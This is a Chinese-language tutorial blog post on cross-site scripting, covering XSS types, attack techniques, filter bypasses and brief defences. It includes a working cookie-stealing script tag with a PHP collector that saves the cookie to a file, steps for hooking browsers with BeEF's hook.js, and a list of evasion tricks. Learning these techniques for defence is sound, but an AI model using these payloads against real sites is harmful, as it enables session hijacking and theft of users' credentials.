xss 跨站攻击与预防

cookie session

cookie:用户凭据,通过凭据可以判断对方身份信息,存储在本地,存活时间较长 适用于小中型网络(例如常见的攻击:夺取cookie)
session:会话,存储在服务器上,存活时间短,适用于大型网站(例如常见攻击:会话劫持)

原理

有输出函数出现的地方,例如echo printf可以输出自己能够控制的值,就可能会存在xss,有数据交互的地方,前端接收数据在后台就会存在xss漏洞的可能。输出的内容换成js代码,在前端执行的时候会被当作js的代码执行
数据在传输时将传输的数据写成js脚本类似的代码,代码可以被浏览器执行

存在漏洞的可能出现地方

有数据交互的地方,并且管理员会对提交的数据进行查看,前端接收数据在后台就会存在xss漏洞的可能.如果在前端输入的是纯数字,那可能会对代码进行过滤,当时输入的不仅限于数字时,就存在xss漏洞的可能
留言板 评论区 订单系统 反馈条件

分类

反射型

也叫非持续型,对反射型进行漏洞攻击的时候,这个攻击不会储存在对方的服务器上,与后端进行交互,后端语言进行处理

存储型

也叫持续型,对储存型进行漏洞攻击的时候,这个攻击会储存在对方的服务器上,所以储存型漏洞会一直进行攻击,危害也比较大,与后端进行交互,后端语言进行处理

DOM型

会在本地静态前端代码执行,并且不会回显,例如有些网站翻页的时候,url后面的参数会+1,但是有些网站虽然翻页了,但是url不变,原因是执行了前端的js代码,
​
可以通过查看网站源代码来查看参数进行xss,例如url?text=<script>alert(1)</script>

手法

运用xss平台

使用xss平台新建项目,将生成的js代码写入到要进行xss攻击的网站,只要网站的后台管理员查看了这个代码,那这个cookie就会显示到xss平台上(xss平台是一个网页)

获取document.cookie代码

在网站上进行xss注入:
<script src="http://127.0.0.1/gongji.php?c='+document.cookie+'"></script>
​
将定向的网站写入获取cookie的代码:
gongji.php
<?php
$cookie=$_GET['c'];  //c就是cookie,用get获得cookie
$myfile=fopen("cookie.txt","w");
fwrite($myfile,$cookie);
fclose($myfile);
?>

beef的使用

1,开启beef服务
beef-xss  //在终端运行
2,登录beef管理页面 
访问地址http://127.0.0.1:3000/ui/authentication
3,将要进行xss注入的语句在发送到网站上(类似留言板的地方)
语句beef会自动生成,一般都是<script src="http://<ip>:3000/hook.js"></script> 
4,在beef的页面会有online Browsers和offline Browsers
//online是值已经被xss的网站或服务器,就是已经执行过恶意代码了
//offline是执行过但是后来下线了
5,点击online中的浏览器,可以对他们进行一些攻击,例如使它们跳转到另外一个网站类似的,
模块在commands中,其中绿色模块:表示模块适用当前用户,并且执行结果对用户不可见;红色模块:表示模块不适用当前用户,有些红色模块也可以执行;橙色模块:模块可用,但结果对用户可见;灰色模块:模块为在目标浏览器上测试过

绕过

  • html的onclick属性

html onclick属性:当点击按钮时执行一段 JavaScript

<button οnclick="copyText()">Copy Text</button>
copyText()为javascript的代码,当点击相关的buttom时,会执行js代码
  • a标签执行javascript代码

当<a>标签调用JS中的代码时:

<a href = ‘javascript:js_method()’>文本</a>
js_method()为javascript代码
例如:a href = 'javascript:alert(1)‘>
  • 编码绕过

可以将代码进行unicode的编码进行绕过

  • 大小写

  • 双写

  • 主要过程

先测试是什么会被过滤,一个一个试,例如<或者>
  • 标签语法替换

将>替换成‘

  • 特殊符号干扰

# :可以利用#来进行绕过,可以用来注释
/ :可以在被过滤的符号前面加入/。例如/href,因为/在javascript中的意思为前面的语句已经结束的意思,

  • 提交方式更改

可以将get方式转换为post方式进行网站的访问

  • 垃圾数据溢出

构造较长的payload使之产生垃圾数据

  • 加密解密算法

将需要执行的javascrip代码进行加密然后再执行

防御

  • 设置http-only

一般的Cookie都是从document对象中获得的,现在浏览器在设置 Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的 document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时 候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。
  • 对输入进行过滤,对输出进行编码,白名单和黑名单组合

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值